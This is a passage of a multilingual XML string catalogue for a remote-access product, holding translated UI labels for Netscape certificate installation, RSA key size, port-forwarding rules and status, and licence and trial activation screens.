certificas páginas de red" cuando se le pregunte. Puede ver y gestionar los Certificados
de autenticidad instalados seleccionando el botón de Seguridad, menú de Certificados,
sub-menú Firmado por.</es>
<fr>Dans Netscape, suivez les indications et validez, une fois demandé,
"Accepter ce Certificat pour les emplacements réseaux certifiés".
Vous pouvez voir et contrôler votre certificat installé en cliquant sur le bouton du cadenas,
menu Certificat, sous-menu Signatures.</fr>
<it>In Netscape eseguire la procedura guidata e attivare, quando richiesto, la casella di controllo per l'accettazione dell'autorità di certificazione per i siti di rete. È possibile visualizzare e gestire i certificati installati selezionando il pulsante a forma di lucchetto nel sottomenu dei firmatari del menu relativo ai certificati.</it>
<ru>В обозревателе Netscape следуйте инструкциям мастера и установите флажок "Принять этот центр сертификации для сертификации узлов сети" при появлении соответствующего окна запроса. Для просмотра и управления установленными сертификатами центра сертификации следует нажать кнопку "Блокировка", выбрать меню "Сертификаты" и подменю "Подписывающие".</ru>
<ja>Netscape を使用している場合は、ウィザードに従い、メッセージが表示されたら、[この証明書発行人をネットワーク サイトの認証用に受け付ける] をオンにします。インストール済みの証明機関を表示して管理するには、[Padlock] ボタン、[証明書] メニュー、[署名者] サブメニューの順に選択します。</ja>
<zh>在 Netscape 中,按照向导进行操作,并在系统提示时,选中“接受此用于证明网络站点的证书颁发机构”。通过选择“挂锁”按钮、“证书”菜单、“签名者”子菜单,您可以查看和管理已安装的证书颁发机构。</zh>
<ko>Netscape에서 마법사를 실행한 후 메시지가 나타나면 "네트워크 사이트 인증에 이 CA 허용"을 선택합니다. 자물쇠 버튼, 인증서 메뉴, 서명자 하위 메뉴를 선택하여 설치된 CA를 보고 관리할 수 있습니다.</ko>
<en-gb>In Netscape, follow the wizard and check "Accept this Certificate Authority for Certifying network sites" when prompted. You can view and manage your installed Certificate Authoritites by selecting the Padlock Button, Certificates Menu, Signers Sub-Menu.</en-gb>
<hu>A Netscape-ben kövesse varázslót, és jelölje meg a "Tanúsítvány elfogadása a hálózati helyek hitelesítésére"
amikor erre felszólítást kap. A telepített Hitelesítésszolgáltatókat megtekintheti és kezelheti, ha
a lakat gombra kattint, Tanúsítványok menü, 
Aláírók almenü.</hu>
<pt-br>No Netscape, siga o assistente e marque "Aceitar esta Autoridade de certificado
para locais de rede de certificação", quando solicitado. Você pode exibir e gerenciar suas Autoridades de certificado instaladas
Selecionando o botão cadeado, menu Certificados,
submenu Signatários.</pt-br>
<nl>Als u Netscape gebruikt, volgt u de instructies van de wizard en schakelt u de optie "Deze certificeringsautoriteit accepteren voor de certificering van netwerksites" ("Accept this Certificate Authority for Certifying network sites") wanneer deze optie in het dialoogvenster op het scherm verschijnt. U kunt de door u geïnstalleerde certificeringsinstanties (in Netscape certificaatautoriteiten genoemd) als volgt weergeven en beheren: klik op de knop met het hangslotpictogram, kies het menu "Certificaten" ("Certificates") en kies de optie "Ondertekeningen" ("Signers").</nl>
</msg>
<msg name="KEYSIZE">
<en>RSA Key Size (bits)</en>
<de>RSA Schlüssellänge (bits)</de>
<es>Tamaño de clave RSA (bits)</es>
<fr>Taille de la clé RSA (bits)</fr>
<it>Dimensione chiave RSA (bit)</it>
<ru>Размер ключа RSA (биты)</ru>
<ja>RSA 鍵のサイズ (ビット)</ja>
<zh>RSA 密钥大小(位)</zh>
<ko>RSA 키 크기(비트)</ko>
<en-gb>RSA Key Size (bits)</en-gb>
<hu>RSA kulcsméret (bit)</hu>
<pt-br>Tamanho da chave RSA (bits)</pt-br>
<nl>Grootte van RSA-sleutel (bits)</nl>
</msg>
</cat>
<!-- CONFIG.PORTFWD -->
<cat name="PORTFWD">
<msg name="TITLE">
<en>Port Forwarding Config</en>
<de>Port Forwarding Konfiguration</de>
<es>Configuración de reenvío de puerto</es>
<fr>Configuration Port Fowarding</fr>
<it>Configurazione di inoltro delle porte</it>
<ru>Конфигурация перенаправления портов</ru>
<ja>ポート転送の設定</ja>
<zh>端口转发配置</zh>
<ko>포트 전달 구성</ko>
<en-gb>Port Forwarding Config</en-gb>
<hu>Port-átirányítás konfigurálása</hu>
<pt-br>Configuração do encaminhamento de porta</pt-br>
<nl>Configureren van poorttoewijzingen</nl>
</msg>
<msg name="STATUSTITLE">
<en>Port Forwarding Status</en>
<de>Port Forwarding Status</de>
<es>Estado de reenvío de puerto</es>
<fr>Statut du Port Forwarding</fr>
<it>Stato di inoltro delle porte</it>
<ru>Состояние перенаправления портов</ru>
<ja>ポート転送のステータス</ja>
<zh>端口转发状态</zh>
<ko>포트 전달 상태</ko>
<en-gb>Port Forwarding Status</en-gb>
<hu>Port-átirányítás állapot</hu>
<pt-br>Status do encaminhamento de porta</pt-br>
<nl>Status van poorttoewijzingen</nl>
</msg>
<msg name="IN">
<en>In</en>
<de>Eingehend</de>
<es>Entrante</es>
<fr>Entrant</fr>
<it>Entrata</it>
<ru>Входящее</ru>
<ja>入力</ja>
<zh>传入</zh>
<ko>입력</ko>
<en-gb>In</en-gb>
<hu>Be</hu>
<pt-br>Entrada</pt-br>
<nl>In</nl>
</msg>
<msg name="OUT">
<en>Out</en>
<de>Ausgehend</de>
<es>Saliente</es>
<fr>Sortant</fr>
<it>Uscita</it>
<ru>Исходящее</ru>
<ja>出力</ja>
<zh>传出</zh>
<ko>출력</ko>
<en-gb>Out</en-gb>
<hu>Ki</hu>
<pt-br>Saída</pt-br>
<nl>Uit</nl>
</msg>
<msg name="TIMEOUT">
<en>Timeout</en>
<de>Zeitüberschreitung</de>
<es>Límite de tiempo</es>
<fr>Délai</fr>
<it>Timeout</it>
<ru>Таймаут</ru>
<ja>タイムアウト</ja>
<zh>超时</zh>
<ko>시간 초과</ko>
<en-gb>Timeout</en-gb>
<hu>Időtúllépés</hu>
<pt-br>Tempo limite</pt-br>
<nl>Time-out</nl>
</msg>
<msg name="DEFER">
<en>Defer</en>
<de>Aufschieben</de>
<es>Aplazar</es>
<fr>Reporter</fr>
<it>Rinvia</it>
<ru>Отложить</ru>
<ja>延期</ja>
<zh>推迟</zh>
<ko>지연</ko>
<en-gb>Defer</en-gb>
<hu>Késleltet</hu>
<pt-br>Deferir</pt-br>
<nl>Uitstellen</nl>
</msg>
<msg name="ENABLED">
<en>Enabled</en>
<de>Aktiviert</de>
<es>Habilitado</es>
<fr>Activé</fr>
<it>Attivato</it>
<ru>Включено</ru>
<ja>有効</ja>
<zh>已启用</zh>
<ko>사용</ko>
<en-gb>Enabled</en-gb>
<hu>Bekapcsolva</hu>
<pt-br>Habilitado</pt-br>
<nl>Ingeschakeld</nl>
</msg>
<msg name="TCP">
<en>TCP</en>
<de>TCP</de>
<es>TCP</es>
<fr>TCP</fr>
<it>TCP</it>
<ru>TCP</ru>
<ja>TCP</ja>
<zh>TCP</zh>
<ko>TCP</ko>
<en-gb>TCP</en-gb>
<hu>TCP</hu>
<pt-br>TCP</pt-br>
<nl>TCP</nl>
</msg>
<msg name="SSL">
<en>SSL</en>
<de>SSL</de>
<es>SSL</es>
<fr>SSL</fr>
<it>SSL</it>
<ru>SSL</ru>
<ja>SSL</ja>
<zh>SSL</zh>
<ko>SSL</ko>
<en-gb>SSL</en-gb>
<hu>SSL</hu>
<pt-br>SSL</pt-br>
<nl>SSL</nl>
</msg>
<msg name="CSSL">
<en>CSSL</en>
<de>CSSL</de>
<es>CSSL</es>
<fr>CSSL</fr>
<it>CSSL</it>
<ru>CSSL</ru>
<ja>CSSL</ja>
<zh>CSSL</zh>
<ko>CSSL</ko>
<en-gb>CSSL</en-gb>
<hu>CSSL</hu>
<pt-br>CSSL</pt-br>
<nl>CSSL</nl>
</msg>
<msg name="FILTER">
<en>IP address filter profile</en>
<de>IP-Adressen Filterprofil</de>
<es>Perfil de filtro de direcciones IP</es>
<fr>Profil du filtre d'adresses IP</fr>
<it>Profilo di filtro degli indirizzi IP</it>
<ru>Профиль фильтров IP-адресов</ru>
<ja>IP アドレス フィルタのプロファイル</ja>
<zh>IP 地址过滤器配置文件</zh>
<ko>IP 주소 필터 프로필</ko>
<en-gb>IP address filter profile</en-gb>
<hu>IP címszűrők profil</hu>
<pt-br>Perfil do filtro do endereço IP</pt-br>
<nl>Filterprofiel voor IP-adressen</nl>
</msg>
<msg name="STATUS">
<en>Status</en>
<de>Status</de>
<es>Estado</es>
<fr>Statut</fr>
<it>Stato</it>
<ru>Состояние</ru>
<ja>ステータス</ja>
<zh>状态</zh>
<ko>상태</ko>
<en-gb>Status</en-gb>
<hu>Állapot</hu>
<pt-br>Status</pt-br>
<nl>Status</nl>
</msg>
<msg name="ENABLED">
<en>Enabled</en>
<de>Aktiviert</de>
<es>Habilitado</es>
<fr>Activé</fr>
<it>Attivato</it>
<ru>Включено</ru>
<ja>有効</ja>
<zh>已启用</zh>
<ko>사용</ko>
<en-gb>Enabled</en-gb>
<hu>Bekapcsolva</hu>
<pt-br>Habilitado</pt-br>
<nl>Ingeschakeld</nl>
</msg>
<msg name="DISABLED">
<en>Disabled</en>
<de>Deaktiviert</de>
<es>Deshabilitado</es>
<fr>Désactivé</fr>
<it>Disattivato</it>
<ru>Отключен</ru>
<ja>無効</ja>
<zh>已禁用</zh>
<ko>사용 안 함</ko>
<en-gb>Disabled</en-gb>
<hu>Kikapcsolva</hu>
<pt-br>Desabilitado</pt-br>
<nl>Uitgeschakeld</nl>
</msg>
<msg name="PUMPS">
<en>Pumps</en>
<de>Pumps</de>
<es>Pumps</es>
<fr>Pumps</fr>
<it>Pompe</it>
<ru>Насосы</ru>
<ja>Pumps</ja>
<zh>泵</zh>
<ko>펌프</ko>
<en-gb>Pumps</en-gb>
<hu>Szivattyúk</hu>
<pt-br>Bombas</pt-br>
<nl>Pompen</nl>
</msg>
<msg name="CONNS">
<en>Conns</en>
<de>Verbindungen</de>
<es>Conexiones</es>
<fr>Conn.</fr>
<it>Connessioni</it>
<ru>Соединения</ru>
<ja>Conns</ja>
<zh>连接</zh>
<ko>연결</ko>
<en-gb>Conns</en-gb>
<hu>Kapcsolatok</hu>
<pt-br>Conexões</pt-br>
<nl>Verbindingen</nl>
</msg>
<msg name="ALLCONS">
<en>All conns</en>
<de>Alle Verbindungen</de>
<es>Todas las conexiones</es>
<fr>Toutes les conn.</fr>
<it>Tutte le connessioni</it>
<ru>Все соединения</ru>
<ja>すべての conns</ja>
<zh>所有连接</zh>
<ko>모든 연결</ko>
<en-gb>All conns</en-gb>
<hu>Minden kapcsolat</hu>
<pt-br>Todas as conexões</pt-br>
<nl>Alle verbindingen</nl>
</msg>
<msg name="THISSESSION">
<en>This Session</en>
<de>Diese Sitzung</de>
<es>Esta sesión</es>
<fr>Cette Session</fr>
<it>Questa sessione</it>
<ru>Этот сеанс</ru>
<ja>このセッション</ja>
<zh>此会话</zh>
<ko>이 세션</ko>
<en-gb>This Session</en-gb>
<hu>Ez a munkamenet</hu>
<pt-br>Esta sessão</pt-br>
<nl>Deze sessie</nl>
</msg>
<msg name="ALLTIME">
<en>All Time</en>
<de>Gesamtzeit</de>
<es>Siempre</es>
<fr>En tout temps</fr>
<it>Sempre</it>
<ru>Всегда</ru>
<ja>すべての時間</ja>
<zh>所有时间</zh>
<ko>항상</ko>
<en-gb>All Time</en-gb>
<hu>Mindig</hu>
<pt-br>Todas as horas</pt-br>
<nl>Totale tijd</nl>
</msg>
<msg name="BYTES">
<en>Bytes</en>
<de>Bytes</de>
<es>Bytes</es>
<fr>Octets</fr>
<it>Byte</it>
<ru>Байты</ru>
<ja>バイト</ja>
<zh>字节</zh>
<ko>바이트</ko>
<en-gb>Bytes</en-gb>
<hu>Bájt</hu>
<pt-br>Bytes</pt-br>
<nl>Bytes</nl>
</msg>
<msg name="COMPR">
<en>Compr.</en>
<de>Kompression</de>
<es>Compr.</es>
<fr>Compr.</fr>
<it>Compr.</it>
<ru>Сжатие</ru>
<ja>Compr.</ja>
<zh>压缩机</zh>
<ko>압축</ko>
<en-gb>Compr.</en-gb>
<hu>Tömör.</hu>
<pt-br>Compr.</pt-br>
<nl>Compr.</nl>
</msg>
<msg name="IDLE">
<en>Idle</en>
<de>Leerlauf</de>
<es>En reposo</es>
<fr>Innocupé</fr>
<it>Inattivo</it>
<ru>Простой</ru>
<ja>アイドル</ja>
<zh>空闲</zh>
<ko>유휴 상태</ko>
<en-gb>Idle</en-gb>
<hu>Üresjárat</hu>
<pt-br>Ocioso</pt-br>
<nl>Niet actief</nl>
</msg>
<msg name="NORULES">
<en>There are no rules defined.</en>
<de>Es sind keine Regeln definiert.</de>
<es>No se han definido normas.</es>
<fr>Il n'y pas de règle définie</fr>
<it>Nessuna regola definita.</it>
<ru>Правила не определены.</ru>
<ja>定義済みのルールはありません。</ja>
<zh>没有定义的规则。</zh>
<ko>규칙을 정의하지 않았습니다.</ko>
<en-gb>No rules have been defined.</en-gb>
<hu>Nincsenek szabályok meghatározva.</hu>
<pt-br>Não foram definidas regras.</pt-br>
<nl>Er zijn geen regels opgegeven.</nl>
</msg>
<msg name="PLEASECLICKSTART">
<en>Please click the "Create forwarding rule" button on the toolbar to get started.</en>
<de>Bitte klicken Sie auf die "Forwarding-Regel erstellen" in der Werkzeugleiste, um zu Starten.</de>
<es>Haga clic el botón "Crear norma de reenvío" de la barra de herramientas para comenzar.</es>
<fr>Pour la création d'une nouvelle règle, cliquez sur le bouton "Créer une règle de forwarding" qui se trouvent sur la barre d'outils.</fr>
<it>Per iniziare, fare clic sul pulsante "Crea regola di inoltro" sulla barra degli strumenti.</it>
<ru>Щелкните кнопку "Создать правило перенаправления" на данной панели инструментов, чтобы начать.</ru>
<ja>開始するには、ツールバーの上にある [転送ルールの作成] ボタンをクリックします。</ja>
<zh>请单击工具栏上的“创建转发规则”按钮以开始操作。</zh>
<ko>도구 모음에서 "전달 규칙 만들기" 버튼을 클릭하여 시작하십시오.</ko>
<en-gb>Please click the "Create forwarding rule" button on the toolbar to get started.</en-gb>
<hu>A kezdéshez kattintson az "Átirányítási szabály létrehozása" gombra az eszköztáron.</hu>
<pt-br>Clique no botão "Criar regra de encaminhamento" na barra de ferramentas para iniciar.</pt-br>
<nl>Klik als eerste stap op de werkbalk op de knop "Toewijzingsregel maken".</nl>
</msg>
<cat name="STATUS">
<msg name="STOPPED">
<en>Stopped</en>
<de>Gestoppt</de>
<es>Parado</es>
<fr>Arrêté</fr>
<it>Interrotto</it>
<ru>Остановлен</ru>
<ja>停止しました</ja>
<zh>已停止</zh>
<ko>중지됨</ko>
<en-gb>Stopped</en-gb>
<hu>Leállítva</hu>
<pt-br>Parado</pt-br>
<nl>Gestopt</nl>
</msg>
<msg name="RUNNING">
<en>Running</en>
<de>In Betrieb</de>
<es>En funcionamiento</es>
<fr>En marche</fr>
<it>In esecuzione</it>
<ru>Выполняется</ru>
<ja>実行中</ja>
<zh>正在运行</zh>
<ko>실행 중</ko>
<en-gb>Running</en-gb>
<hu>Futó</hu>
<pt-br>Executando</pt-br>
<nl>Wordt uitgevoerd</nl>
</msg>
<msg name="ERROR">
<en>Error</en>
<de>Fehler</de>
<es>Error</es>
<fr>Erreur</fr>
<it>Errore</it>
<ru>Ошибка</ru>
<ja>エラー</ja>
<zh>错误</zh>
<ko>오류</ko>
<en-gb>Error</en-gb>
<hu>Hiba</hu>
<pt-br>Erro</pt-br>
<nl>Fout</nl>
</msg>
<msg name="STARTING">
<en>Starting</en>
<de>Starten</de>
<es>Iniciando</es>
<fr>Démarré</fr>
<it>Avvio</it>
<ru>Запуск</ru>
<ja>開始しています</ja>
<zh>正在启动</zh>
<ko>시작 중</ko>
<en-gb>Starting</en-gb>
<hu>Indul</hu>
<pt-br>Iniciando</pt-br>
<nl>Wordt gestart</nl>
</msg>
<msg name="CONNECTING">
<en>Connecting</en>
<de>Verbinden</de>
<es>Conectando</es>
<fr>Connexion</fr>
<it>Connessione</it>
<ru>Подключение</ru>
<ja>接続しています</ja>
<zh>正在连接</zh>
<ko>연결 중</ko>
<en-gb>Connecting</en-gb>
<hu>Csatlakoztatás</hu>
<pt-br>Conectando</pt-br>
<nl>Bezig met verbinden</nl>
</msg>
<msg name="WORKING">
<en>Working</en>
<de>Arbeiten</de>
<es>Trabajando</es>
<fr>En fonction</fr>
<it>In funzione</it>
<ru>Функционирует</ru>
<ja>動作中</ja>
<zh>正在处理</zh>
<ko>작동 중</ko>
<en-gb>Working</en-gb>
<hu>Dolgozik</hu>
<pt-br>Funcionando</pt-br>
<nl>Bezig</nl>
</msg>
<msg name="WAITINGFORCLOSE">
<en>Waiting to close</en>
<de>Warte um Abzuschließen</de>
<es>Esperando que se cierre</es>
<fr>Attendre la fermeture</fr>
<it>In attesa della chiusura</it>
<ru>Ожидает закрытия</ru>
<ja>終了待機中</ja>
<zh>等待关闭</zh>
<ko>닫기를 기다리는 중</ko>
<en-gb>Waiting to close</en-gb>
<hu>Várakozás a bezárásra</hu>
<pt-br>Aguardando para fechar</pt-br>
<nl>In afwachting van sluiten</nl>
</msg>
<msg name="CLOSING">
<en>Closing</en>
<de>Schließen</de>
<es>Cerrando</es>
<fr>Fermeture</fr>
<it>Chiusura</it>
<ru>Закрывается</ru>
<ja>終了しています</ja>
<zh>正在关闭</zh>
<ko>닫는 중</ko>
<en-gb>Closing</en-gb>
<hu>Bezárás</hu>
<pt-br>Fechando</pt-br>
<nl>Bezig met sluiten</nl>
</msg>
</cat>
<cat name="TIP">
<msg name="CREATE">
<en>Create forwarding rule</en>
<de>Forward-Regel erstellen</de>
<es>Crear norma de reenvío</es>
<fr>Créer une règle de forwarding</fr>
<it>Crea regola di inoltro</it>
<ru>Создайте правило перенаправления</ru>
<ja>転送ルールの作成</ja>
<zh>创建转发规则</zh>
<ko>전달 규칙 만들기</ko>
<en-gb>Create forwarding rule</en-gb>
<hu>Átirányítási szabály létrehozása</hu>
<pt-br>Criar regra de encaminhamento</pt-br>
<nl>Toewijzingsregel maken</nl>
</msg>
<msg name="PROP">
<en>Modify rule</en>
<de>Regel ändern</de>
<es>Modificar norma</es>
<fr>Modifier la règle</fr>
<it>Modifica regola</it>
<ru>Измените правило</ru>
<ja>ルールの変更</ja>
<zh>修改规则</zh>
<ko>규칙 수정</ko>
<en-gb>Modify rule</en-gb>
<hu>Szabály módosítása</hu>
<pt-br>Modificar regra</pt-br>
<nl>Regel wijzigen</nl>
</msg>
<msg name="DEL">
<en>Remove rule</en>
<de>Regel löschen</de>
<es>Eliminar norma</es>
<fr>Effacer la règle</fr>
<it>Rimuovi regola</it>
<ru>Удалите правило</ru>
<ja>ルールの削除</ja>
<zh>删除规则</zh>
<ko>규칙 제거</ko>
<en-gb>Remove rule</en-gb>
<hu>Szabály eltávolítása</hu>
<pt-br>Remover regra</pt-br>
<nl>Regel verwijderen</nl>
</msg>
</cat>
</cat>
<!-- CONFIG.LICENSE -->
<cat name="LICENSE">
<msg name="TITLE">
<en>License</en>
<de>Lizenz</de>
<es>Licencia</es>
<fr>Licence</fr>
<it>Licenza</it>
<ru>Лицензия</ru>
<ja>ライセンス</ja>
<zh>许可证</zh>
<ko>라이센스</ko>
<en-gb>Licence</en-gb>
<hu>Licensz</hu>
<pt-br>Licença</pt-br>
<nl>Licentie</nl>
</msg>
<msg brand="LMI" name="TITLE">
<en>Subscription</en>
<es>Suscripción</es>
<de>Abo</de>
<fr>Abonnement</fr>
<it>Sottoscrizione</it>
<ru>Подписка</ru>
<ja>利用期間</ja>
<zh>订阅</zh>
<ko>가입</ko>
<hu>Előfizetés</hu>
<pt-br>Assinatura</pt-br>
<nl>Abonnement</nl>
<en-gb>Subscription</en-gb>
</msg>
<!-- button for requesting technical support -->
<msg name="REQSUPPORT">
<en>Contact technical support</en>
<de>Kontaktieren Sie den technischen Support</de>
<es>Contacte con la asistencia técnica</es>
<fr>Contactez le support technique</fr>
<it>Contatta supporto tecnico</it>
<ru>Обратитесь в службу технической поддержки</ru>
<ja>テクニカル サポートに連絡してください</ja>
<zh>联系技术支持</zh>
<ko>기술 지원부에 문의</ko>
<en-gb>Contact technical support</en-gb>
<hu>Kapcsolatfelvétel a műszaki támogatással</hu>
<pt-br>Entre em contato com o suporte técnico</pt-br>
<nl>Contact opnemen met de afdeling Technische support</nl>
</msg>
<!-- displayed when you try to access an unlicensed installation from a PDA -->
<msg name="NOPDA">
<en>%PRODUCTNAME has not yet been activated on this computer. When accessing it for
the first time, a license must be inserted. This feature however is not available
from the PDA interface that you are currently using. Please log on to %PRODUCTNAME
using a web browser from a desktop environment to insert the license.</en>
<de>%PRODUCTNAME wurde auf diesem Computer noch nicht aktiviert. Beim ersten Zugriff
muss eine Lizenz eingegeben werden. Diese Funktion ist jedoch nicht beim Zugriff über
einen PDA, den Sie im Moment verwenden, möglich. Melden Sie sich bitte über den
Webbrowser ihres Computers bei  %PRODUCTNAME an, um die Lizenz einzugeben.</de>
<es>%PRODUCTNAME todavía no ha sido activado en este ordenador. Al acceder por
primera vez, deberá introducirse una licencia. No obstante, esta función no está disponible
desde el dispositivo PDA que está utilizando. Inicie sesión en %PRODUCTNAME
utilizando un navegador desde el escritorio para insertar la licencia.</es>
<fr>%PRODUCTNAME n'a pas été encore activé sur cet ordinateur. Lorsque vous le démarrer
pour la première fois, une licence doit lui être attribuée. Cette fonction n'est cependant
pas disponile sur l'interface du PDA que vous employez actuellement. Veuillez vous
logguer à %PRODUCTNAME en utilisant un navigateur web de votre ordinateur pour lui attribuer la licence.</fr>
<it>%PRODUCTNAME non è ancora stato attivato sul computer. Al primo accesso è necessario specificare la licenza. Questa funzione non è disponibile dall'interfaccia del PDA attualmente in uso. Accedere a %PRODUCTNAME utilizzando un browser Web da un ambiente desktop per specificare la licenza.</it>
<ru>Приложение %PRODUCTNAME еще не активировано на данном компьютере. При доступе к данному приложению в первый раз требуется предоставить лицензию. Однако эта функция недоступна из используемого в настоящее время интерфейса PDA. Чтобы ввести лицензию, войдите в приложение %PRODUCTNAME с помощью веб-обозревателя из среды рабочего стола.</ru>
<ja>%PRODUCTNAME はこのコンピュータでまだ起動していません。初めてアクセスするときは、ライセンスを挿入する必要があります。ただし、この機能は現在使用している PDA インターフェイスでは有効でありません。ライセンスを挿入する場合は、デスクトップ環境から Web ブラウザを使用して、%PRODUCTNAME にログインしてください。</ja>
<zh>此计算机上尚未激活 %PRODUCTNAME。首次访问时,必须插入许可证。但是,无法从您当前使用的 PDA 界面使用此功能。请使用 Web 浏览器从桌面环境登录 %PRODUCTNAME 以插入许可证。</zh>
<ko>%PRODUCTNAME이(가) 아직 이 컴퓨터에서 활성화되지 않았습니다. 컴퓨터에 처음 액세스할 때 라이센스를 삽입해야 합니다. 그러나 이 기능은 현재 사용 중인 PDA 인터페이스에서 사용할 수 없습니다. 데스크톱 환경에서 웹 브라우저를 사용하여 %PRODUCTNAME에 로그온하여 라이센스를 삽입하십시오.</ko>
<en-gb>%PRODUCTNAME has not yet been activated on this computer. When accessing it for the first time, a licence must be inserted. This feature is not, however, available from the PDA interface that you are currently using. Please log on to %PRODUCTNAME using a web browser from a desktop environment to insert the licence.</en-gb>
<hu>A %PRODUCTNAME még nem volt aktiválva ezen a számítógépen. Amikor első alkalommal indítja, 
egy licenszet kell beilleszteni. Ez a funkció azonban nem érhető el
a jelenleg használt PDA felhasználói felületről. Kérem, jelentkezzen be a %PRODUCTNAME-be
egy webböngészővel, asztali számítógépről, a licensz beillesztéséhez.</hu>
<pt-br>O %PRODUCTNAME ainda não foi ativado neste computador. Ao acessá-lo pela
primeira vez, será necessário inserir uma licença. Este recurso entretanto não está disponível da
interface de PDA que você está usando no momento. Conecte-se ao %PRODUCTNAME
usando um navegador de um ambiente de desktop para inserir a licença.</pt-br>
<nl>%PRODUCTNAME is nog niet op deze computer geactiveerd. Wanneer u voor het eerst toegang krijgt tot deze computer, moet u een licentie invoeren. Deze functie is echter niet beschikbaar in de PDA-interface die u op dit ogenblik gebruikt. Meld u bij %PRODUCTNAME aan met een webbrowser vanaf een desktop-pc en voer de licentie in.</nl>
</msg>
<!-- button on the license info screen -->
<msg name="CHGLICENSE">
<en>Change License</en>
<de>Lizenz ändern</de>
<es>Cambiar licencia</es>
<fr>Changer la licence</fr>
<it>Cambia licenza</it>
<ru>Изменить лицензию</ru>
<ja>ライセンスの変更</ja>
<zh>更改许可证</zh>
<ko>라이센스 변경</ko>
<en-gb>Change Licence</en-gb>
<hu>Licensz megváltoztatása</hu>
<pt-br>Alterar licença</pt-br>
<nl>Licentie wijzigen</nl>
</msg>
<!-- trial request screen -->
<cat name="INTRO">
<msg name="TITLE">
<en>Welcome to %PRODUCTNAME</en>
<de>Willkommen bei %PRODUCTNAME</de>
<es>Bienvenido a %PRODUCTNAME</es>
<fr>Merci d'utiliser %PRODUCTNAME</fr>
<it>Benvenuto in %PRODUCTNAME</it>
<ru>Вас приветствует программа %PRODUCTNAME</ru>
<ja>%PRODUCTNAME へようこそ</ja>
<zh>欢迎使用 %PRODUCTNAME</zh>
<ko>%PRODUCTNAME 시작</ko>
<en-gb>Welcome to %PRODUCTNAME</en-gb>
<hu>Üdvözli Önt a %PRODUCTNAME</hu>
<pt-br>Bem-vindo ao %PRODUCTNAME</pt-br>
<nl>Welkom bij %PRODUCTNAME</nl>
</msg>
<msg name="UNLICENSED">
<en>The software is installed but still needs to be activated on your computer.</en>
<de>Die Software ist installiert, muss aber auf dem Computer noch aktiviert werden.</de>
<es>El software está instalado, pero todavía necesita ser activado en su ordenador.</es>
<fr>Le logiciel est bien installé sur votre ordinateur mais doit encore être activé.</fr>
<it>Il software è installato sul computer ma deve essere ancora attivato.</it>
<ru>Программное обеспечение установлено, но все еще требует активации на данном компьютере.</ru>
<ja>ソフトウェアはインストールされましたが、コンピュータでアクティブにする必要があります。</ja>
<zh>软件已安装,但仍需要在您的计算机上激活。</zh>
<ko>소프트웨어가 설치되었지만 컴퓨터에서 여전히 활성화되어야 합니다.</ko>
<en-gb>The software is installed on your computer, but still needs to be activated.</en-gb>
<hu>A szoftver telepítve van, de még aktiválnia kell az Ön számítógépén.</hu>
<pt-br>O software será instalado, mas ainda precisa ser ativado no computador.</pt-br>
<nl>De software is op uw computer geïnstalleerd maar moet eerst nog worden geactiveerd.</nl>
</msg>
<!-- options for the standalone version -->
<msg name="USERA">
<en>I am already a user or already have a license for %PRODUCTNAME</en>
<de>Ich habe %PRODUCTNAME bereits erworben.</de>
<es>Ya soy usuario o ya tengo una licencia para %PRODUCTNAME</es>
<fr>Je possède déjà une licence de %PRODUCTNAME</fr>
<it>Sono già utente o dispongo già di una licenza per %PRODUCTNAME</it>
<ru>Я уже являюсь пользователем или имею лицензию на %PRODUCTNAME</ru>
<ja>既にユーザであるか %PRODUCTNAME のライセンスを所有しています</ja>
<zh>我已是 %PRODUCTNAME 用户或已具有 %PRODUCTNAME 许可证</zh>
<ko>%PRODUCTNAME 사용자이거나 해당 라이센스를 갖고 있습니다.</ko>
<en-gb>I am already a user or already have a licence for %PRODUCTNAME</en-gb>
<hu>Már felhasználó vagyok, vagy már rendelkezem licenszcel a %PRODUCTNAME számára</hu>
<pt-br>Já sou usuário ou já tenho licença para o %PRODUCTNAME</pt-br>
<nl>Ik ben reeds een gebruiker van of beschik reeds over een licentie voor %PRODUCTNAME</nl>
</msg>
<msg name="BUYRA">
<en>I would like to purchase %PRODUCTNAME now</en>
<de>Ich möchte %PRODUCTNAME jetzt bestellen</de>
<es>Quiero adquirir %PRODUCTNAME ahora</es>
<fr>Je désire commander maintenant %PRODUCTNAME</fr>
<it>Desidero acquistare %PRODUCTNAME ora</it>
<ru>Я хотел бы приобрести %PRODUCTNAME сейчас</ru>
<ja>今すぐ購入する</ja>
<zh>我希望现在购买 %PRODUCTNAME</zh>
<ko>지금 %PRODUCTNAME을(를) 구입하려고 합니다</ko>
<en-gb>I would like to purchase %PRODUCTNAME now</en-gb>
<hu>Most szeretnék licenszet venni a %PRODUCTNAME termékhez</hu>
<pt-br>Gostaria de adquirir o %PRODUCTNAME agora</pt-br>
<nl>Ik wil %PRODUCTNAME nu kopen</nl>
</msg>
<msg name="TRYRA">
<en>I would like a free trial</en>
<de>Ich möchte kostenlos testen</de>
<es>Quiero una prueba gratuita</es>
<fr>Je désirerais une version d'essai</fr>
<it>Desidero una versione di prova gratuita</it>
<ru>Я хотел бы получить бесплатную пробную версию</ru>
<ja>無料の試用版を希望する</ja>
<zh>我想免费试用</zh>
<ko>무료 평가판을 사용하려고 합니다</ko>
<en-gb>I would like a free trial</en-gb>
<hu>Ingyenes próbát szeretnék tenni</hu>
<pt-br>Gostaria de obter uma versão de avaliação</pt-br>
<nl>Ik wil een gratis proefperiode</nl>
</msg>
<!-- options for the web service version -->
<msg name="USEWS">
<en>I'm already a %WEBSVC.NAME user</en>
<de>Ich bin bereits ein %WEBSVC.NAME Benutzer</de>
<es>Ya soy usuario de %WEBSVC.NAME</es>
<fr>Je suis déjà un utilisateur %WEBSVC.NAME</fr>
<it>Sono già utente di %WEBSVC.NAME</it>
<ru>Я уже являюсь пользователем %WEBSVC.NAME</ru>
<ja>既に %WEBSVC.NAME ユーザ</ja>
<zh>我已是 %WEBSVC.NAME 用户</zh>
<ko>이미 %WEBSVC.NAME 사용자입니다.</ko>
<en-gb>I'm already a %WEBSVC.NAME user</en-gb>
<hu>Már %WEBSVC.NAME felhasználó vagyok</hu>
<pt-br>Já sou um usuário do %WEBSVC.NAME</pt-br>
<nl>Ik ben reeds een gebruiker van %WEBSVC.NAME</nl>
</msg>
<msg name="TRYWS">
<en>I would like a free %WEBSVC.NAME subscription</en>
<de>Ich möchte eine kostenlose %WEBSVC.NAME Subscription</de>
<es>Quiero una suscripción gratuita %WEBSVC.NAME</es>
<fr>Je désirerais une souscription libre %WEBSVC.NAME</fr>
<it>Desidero una sottoscrizione gratuita a %WEBSVC.NAME</it>
<ru>Я хотел бы получить бесплатную подписку на %WEBSVC.NAME</ru>
